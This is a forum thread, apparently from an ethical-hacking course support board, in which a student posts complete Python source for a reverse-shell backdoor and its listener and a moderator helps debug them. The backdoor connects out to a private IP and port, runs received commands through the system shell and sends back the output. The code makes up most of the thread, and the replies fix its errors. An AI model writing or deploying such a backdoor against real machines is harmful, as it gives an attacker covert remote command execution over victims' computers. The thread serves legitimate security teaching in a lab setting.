Viewing 8 posts - 1 through 8 (of 8 total)
  • Author
    Posts
  • #73291
    donatas
    Participant

    so this problem with the backdoor I was sorted it out but my pc broke down and I had to buy a new one and I had to re-code backdoor but this time i can’t fix this error as i did on old pc.

    BackDoor Code:

    #!/usr/bin/env python
    import socket
    import subprocess
    import json

    class Backdoor:
    def __init__(self, ip, port):
    self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    self.connection.connect((ip, port))

    def reliable_send(self, data):
    json_data = json.dumps(data, ensure_ascii=False)
    self.connection.sendall(json_data.encode())

    def reliable_receive(self):
    json_data = “”
    while True:
    try:
    json_data = self.connection.recv(1024)
    return json.loads(json_data)
    except ValueError:
    continue

    def execute_system_command(self, command):
    return subprocess.check_output(command, shell=True)

    def run(self):
    while True:
    command = self.reliable_receive()
    command_result = self.execute_system_command(command)
    self.reliable_send(command_result)
    self.connection.close()

    my_backdoor = Backdoor(“192.168.110.128”, 8080)
    my_backdoor.run()

    LISTENER CODE:

    #!/usr/bin/python
    import socket, json

    class Listener:
    def __init__(self, ip, port):
    listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    listener.bind((ip, port))
    listener.listen(0)
    print(“[+] Waiting for incoming connections”)
    self.connection, address = listener.accept()
    print(“[+] Got a connection from ” + str(address))

    def reliable_send(self, data):
    json_data = json.dumps(data)
    self.connection.send(json_data)

    def reliable_receive(self):
    json_data = “”
    while True:
    try:
    json_data = + self.connection.recv(1024)
    return json.loads(json_data)
    except ValueError:
    continue

    def execute_remotely(self, command):
    self.reliable_send(command)
    return self.reliable_receive()

    def run(self):
    while True:
    command = raw_input(“>> “)
    result = self.execute_remotely(command)
    print(result)

    my_listener = Listener(“192.168.110.128”, 8080)
    my_listener.run()

    Attachments:
    You must be logged in to view attached files.
    #73303
    Diego PérezDiego Pérez
    Moderator

    Hi!
    I suggest to write the backdoor just as Zaid does. I mean use connection.send instead of connection.sendall and with python 2 there’s no need to add .encode()

    Let me know how it goes!
    Diego

    #73309
    donatas
    Participant

    i’m still getting an error

    Attachments:
    You must be logged in to view attached files.
    #73318
    Diego PérezDiego Pérez
    Moderator

    Hi!
    Can you share the modified code? It would be better to use pastebin.com so I can read it with the proper format.
    Are you using the windows virtual machine? Did you change the language?

    Greetings!
    Diego

    #73319
    donatas
    Participant

    https://pastebin.com/CyWegZeZ

    i use my main pc not vm as a victim

    yes i did chnage the language

    #73333
    Diego PérezDiego Pérez
    Moderator

    Hi!
    Is it working properly with the windows virtual machine?

    Greetings!
    Diego

    #73381
    donatas
    Participant

    i tried to open on the vm and this is the error i got

    Attachments:
    You must be logged in to view attached files.
    #73632
    Diego PérezDiego Pérez
    Moderator

    Hi!
    In the listener on reliable_receive function you are missing “json_data” before the + symbol. Compare your code with Zaid’s code and ake sure both are exactly the same.

    Greetings!
    Diego

Viewing 8 posts - 1 through 8 (of 8 total)
  • You must be logged in to reply to this topic.